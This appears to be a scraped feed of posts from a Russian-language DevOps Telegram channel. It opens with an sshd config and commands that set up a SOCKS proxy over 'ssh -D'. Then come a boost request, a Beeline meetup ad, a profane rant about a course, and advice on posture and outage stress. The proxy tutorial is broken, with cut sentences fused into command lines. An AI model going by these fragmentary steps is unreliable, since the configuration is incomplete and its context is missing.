PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--
sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart
ssh -D 5000 bashdays_tagd@ssh.host.name
SOCKS5. 127.0.0.1 порт 5000.ssh -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name
192.168.1.57 и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.127.0.0.1 на 192.168.1.57
Друзья мои, реакции на постах с пальцами знатно всех подзаебали, давайте их котиками заменим + срущих добавим, чтобы проявлять своё животное возмущение и недоумение.
Если есть премка в телеге, размутим! жмякай 👇
/channel/boost/bashdays
Всем кто жмякнул — вы котики! 😘
Ну а кто не жмякнул, вы тоже котики 🙃
DevOps со всех сторон: от компетенций и паттернов до формирования инфраструктуры и безопасности.
📍 Офлайн в Перми — в конференц-зале технопарка Morion Digital
🌐 Онлайн на VK Видео
📆 27 августа, 18:00 по местному времени (GMT+5), 16:00 (МСК, GMT+3)
В программе — выступления инженеров билайна об инфраструктуре и работе DevOps на практике. Они расскажут:
✔ какими компетенциями должен обладать DevOps-инженер;
✔ как сформировать инфраструктуру инженерной компании;
✔ нужен ли компании единый пайплайн;
✔ как обеспечить удобство сервисов, избегая «театра безопасности».
❗️Начало митапа — 27 августа в 18:00 по местному времени (Пермь, GMT+5). Офлайн-участников ждем к 17:30. Онлайн-трансляция начнется в 16:00 (МСК, GMT+3).
Регистрация — на сайте.
Реклама. ПАО Вымпелком. ИНН 7713076301
Так ребят, курса никакого нет, вы меня вынудили это делать. Я лишь пошёл на встречу, никого не заставляю, дал вам чо хотели. Двоек уже понаставил, моё почтение.
С сентября уже песда, фейс ебать контроль будет и 2x к цене, так что пользуйся пока летней скидкой и моей больной жопой, домашки проверять то еще дело, я зауважал учителей в школах!
Айти убивает!
Господа и дамы, если сидите за компьютером, не забрасывайте ноги на стол и т.п.
Будущее такое — искривление жопы, защемление нервов, невролог, мягкая подушка в виде ободка унитаза и хуй пойми еще что после мрт. Наверное витамин Б, физкультура и какой-нибудь Бруфен с пластырями-гасителями.
Технический пост будет завтра. Кому по домашкам не ответил, завтра с утра напишу, сорян. День пиздень, я нахуй в шоке, где мои 17 лет на Большом Каретном...
Берегите себя и свои жопы
Ииииии
Самое главное сидите на своей жопе ровно 😲
Даже если упал прод — никогда не стрессуй, прод сам поднимется. Никакие деньги мира тебе не вернут твои нервы.
И даже если только ты можешь всё это гавно починить, не суетесь, покури. Мир подождет пару минут или часов, пока ты думаешь. Ты лучший/ая!
Всех обнял ❤️